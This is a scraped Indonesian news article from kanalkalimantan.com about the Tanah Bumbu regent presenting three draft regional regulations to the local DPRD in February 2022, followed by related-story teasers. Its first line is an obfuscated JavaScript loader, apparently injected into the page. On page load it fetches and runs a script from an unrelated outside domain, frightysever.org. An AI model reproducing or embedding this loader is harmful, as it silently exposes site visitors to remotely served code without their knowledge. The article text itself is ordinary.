(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BATULICIN– Bupati Tanah Bumbu HM Zairullah Azhar menyampaikan tiga Raperda (Rancangan Peraturan Daerah) dalam paripurna DPRD, Senin (7/2/2022). Tiga Raperda tersebut yakni Susunan Perangkat Daerah, Retribusi Persetujuan Bangunan Gedung, dan terkait Pemilihan, Pengangkatan, dan Pemberhentian Kepala Desa.
Paripurna dipimpin oleh Wakil Ketua DPRD Said Ismail Alydrus dan dihadiri anggota DPRD, Forkopimda, Kepala SKPD dan tamu undangan.
Terkait Raperda Susunan Perangkat Daerah, Asisten Pemerintahan dan Kesra Hj Mariani mengatakan, secara garis besar penataan organisasi perangkat daerah dilaksanakan berdasarkan urusan pemerintah wajib pelayanan dasar, urusan pemerintah wajib non-pelayanan dasar, dan urusan pemerintahan pilihan.
Selain itu Penataan Organisasi Perangkat Daerah juga dilaksanakan dengan pendekatan fungsi dan tepat ukuran serta diarahkan kepada peningkatan publik.
Baca juga : YBM PT PLN Persero Salurkan Bantuan ke Warga Panggalaman-Pangayuan
“Kami berharap Raperda ini dapat segera ditetapkan dan menjadi dasar penyusunan dan berkesinambungan dengan Raperda tentang APBD TA 2023,” sebutnya.
Selanjutnya Raperda tentang Retribusi Persetujuan Bangunan Gedung, yang dibutuhkan dalam rangka mendukung implementasi peraturan perundang-undangan yang berlaku saat ini dimana Retribusi Perijinan Tertentu terkait Retribusi Izin Mendirikan Bangunan (IMB) yang telah diubah menjadi Retribusi Persetujuan Bangunan Gedung (PBG).
Pemerintah Daerah mendorong ditetapkannya Raperda ini menjadi Perda guna mengurangi kehilangan potensi pendapatan daerah yang bersumber dari pemungutan Retribusi Persetujuan Bangunan Gedung.
Bangunan yang telah memperoleh IMB dari Pemkab Tanbu sebelum Perda ini berlaku maka izinnya masih tetap berlaku. Sementara bangunan yang telah berdiri dan belum memiliki PBG, maka harus diurus sertifikat layak fungsinya berdasarkan peraturan perundang-undangan.
Baca juga : Kronologi Subuh Maut di A Yani Km 24 Landasan Ulin: Avanza Masuk Jalur Berlawanan Tabrak Pikap Carry
Kemudian Raperda terakhir tentang Pemilihan, Pengangkatan, dan Pemberhentian Kepala Desa.
Dengan ditetapkannya Permendagri No. 72 Tahun 2020 tentang Perubahan Kedua Atas Permendagri No. 112 Tahun 2014 tentang Pemilihan Kepala Desa yang mengatur mekanisme pemilihan Kepala Desa, dalam kondisi bencana non-alam Covid-19 diperlukan penyesuaian dan penyusunan kembali terhadap Perda terkait dengan pemilihan Kepala Desa.
Perda ini diharapkan menjadi pedoman serta menjadi kepastian hukum dan landasan untuk mengatur mekanisme tentang pemilihan, pengangkatan, dan pemberhentian Kepala Desa serta mengatur penyelenggaraan pemilihan Kepala Desa serentak atau bergelombang yang menjadi dasar dan rujukan bagi panitia kabupaten, panitia pengawas kecamatan, dan panitia pemilihan tingkat desa.
“Terlebih di tahun 2022 ini kita akan melaksanakan pemilihan Kepala Desa serentak atau bergelombang pada beberapa desa di wilayah Kabupaten Tanah Bumbu,” ungkap Mariani. (kanalkalimantan.com/ftr)
Reporter : Ftr
Editor : cell
KANALKALIMANTAN.COM, BANJARMASIN - Tabrakan beruntung terjadi di Jalan S Parman Kota Banjarmasin melibatkan truk kontainer… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Tabrakan beruntung terjadi di Jalan S Parman tepatnya dekat jembatan kembar Kota… Read More
KANALKALIMANTAN.COM, MARTAPURA - Realisasi pekerjaan tang dilakukan Dinas Pekerjaan Umum Penataan Ruang dan Pertanahan (PUPRP)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Angin kencang disertai hujan melanda Kabupaten Banjar Kalimantan Selatan (Kalsel), Sabtu (11/1/2025)… Read More
KANALKALIMANTAN.COM, BANJARBARU - Air mancur menari di Taman Van der Pijl Banjarbaru menjadi salah satu… Read More
KANALKALIMANTAN. COM, BANJARBARU – PT PLN (Persero) menunjukkan komitmen dalam meningkatkan keandalan pasokan listrik di… Read More
This website uses cookies.